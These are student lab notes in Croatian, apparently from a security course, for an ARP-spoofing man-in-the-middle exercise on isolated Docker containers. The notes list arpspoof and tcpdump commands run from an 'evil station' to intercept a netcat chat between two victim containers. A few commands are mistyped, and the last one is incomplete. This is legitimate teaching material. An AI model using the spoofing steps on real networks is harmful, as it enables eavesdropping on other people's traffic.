

# SRP

## 1.lab.vjezba

Imamo 3 racunala u virtualiziranoj Docker mrezi, station-1 i station -2 (zrtve), te evil station (napadac). Izvest cemo man in the middle napad.

-Kloniramo direktorij sa

```
$ git clone https://github.com/mcagali/SRP-2021-22
```

-Sa

```
$ start. sh i
```

```
$stop. sh
```

pokrecemo i zaustavljamo docker kontejnere

-Sa

```
$ docker ps
```

izlistavamo pokrenute kontejnere

-Pokrecemo interaktivni shell u station-1 sa

```
$ docker ps exec -it sh
```

- Dohvacamo konfiguracije mreznog interfejsa sa

```
$ ifconfig
```

Dobivamo informacije o IP adresi i adresi mreznog uredaja

-Provjerimo nalazi li se station-2 na istoj mrezi sa

```
$ ping station-2
```

-Pokrecemo interaktivni shell u station -2

```
$ docker exec -it station-2 sh
```

-na station-1 otvaramo server TCP socket na portu 8080

```
$ netcat -l -p 8080
```

-Na station -2 otvaramo client TCP socket na hostnameu station-1 8080

\$ netcat station-1 8080

-Pokrecemo interaktivni shell u evil- station

\$docker exec -it evil -station sh

-Izvršavamo napad tako da u evil station pokrenemo arpspoof

\$arpspoof -t station-1 station-2

-Pokrscemo tcpdump u evil-station i pratimo

\$tcpdump

-Gasimo proslijeđivanje spoofanih paketa

\$ echo 0